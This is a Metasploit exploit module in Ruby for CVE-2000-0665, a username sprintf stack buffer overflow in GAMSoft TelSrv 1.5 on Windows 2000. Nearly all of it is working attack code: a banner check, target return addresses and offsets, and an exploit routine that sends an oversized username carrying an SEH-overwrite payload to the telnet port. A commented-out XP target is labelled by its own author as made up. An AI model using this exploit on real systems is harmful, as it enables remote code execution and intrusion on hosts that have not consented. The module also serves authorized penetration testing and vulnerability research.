GAMSoft TelSrv 1.5 Username Buffer Overflow



##

# $Id: gamsoft_telsrv_username.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
            'Description'    => %q{
                    This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.
                Other versions may also be affected. The service terminates after exploitation,
                so you only get one chance!
            },
            'Author'     => [ 'Patrick Webster <patrick[at]aushack.com>' ],
            'Arch'        => [ ARCH_X86 ],
            'License'       => MSF_LICENSE,
            'Version'        => '$Revision: 9583 $',
            'References'    =>
                [
                    [ 'CVE', '2000-0665'],
                    [ 'OSVDB', '373'],
                    [ 'BID', '1478'],
                    [ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
                ],
            'Privileged'        => false,
            'DefaultOptions'    =>
                {
                    'EXITFUNC'     => 'thread',
                },
            'Payload'            =>
                {
                    'Space'            => 1000,
                    'BadChars'         => "\x00\x0a",
                    'StackAdjustment'     => -3500,
                },
            'Platform' => ['win'],
            'Targets'  =>
                [
                    [ 'Windows 2000 Pro SP0/4 English REMOTE',
                        {
                            'Ret'        => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
                            'Offset'    => 1886,
                        }
                    ],

                    [ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
                        {
                            'Ret'         => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
                            'Offset'    => 3318,
                        }
                    ],

                    [ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
                        {
                            'Ret'         => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
                            'Offset'     => 3358,
                        }
                    ],
=begin
                    [ 'Windows XP Pro SP0/1 English',
                        {
                            'Ret'         => 0x71aa32ad, # pop/pop/ret xp pro en ALL
                            'Offset'    => 2600, # this is made up and absolutely wrong ;-)
                        }
                    ],
=end
                ],
            'DisclosureDate' => 'Jul 17 2000',
            'DefaultTarget' => 0))

        register_options(
            [
                Opt::RPORT(23),
            ], self.class)
    end

    def check
        connect
        print_status("Attempting to determine if target is vulnerable...")
        select(nil,nil,nil,7)
        banner = sock.get_once(-1,3)

        if (banner =~ /TelSrv 1\.5/)
            return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
    end

    def exploit
        print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
        connect
        print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
        select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.

        username = rand_text_english(20000, payload_badchars)
        seh = generate_seh_payload(target.ret)
        username[target['Offset'], seh.length] = seh

        print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
        sock.put(username)
        select(nil,nil,nil,0.25)
        print_status('Exploit sent...')
        handler
        disconnect
    end

end